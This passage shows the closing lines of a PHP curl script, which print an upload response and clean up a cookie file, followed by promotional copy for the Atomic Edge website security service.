echo "File Upload Response: " . htmlspecialchars($upload_response) . "n";

curl_close($ch);
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School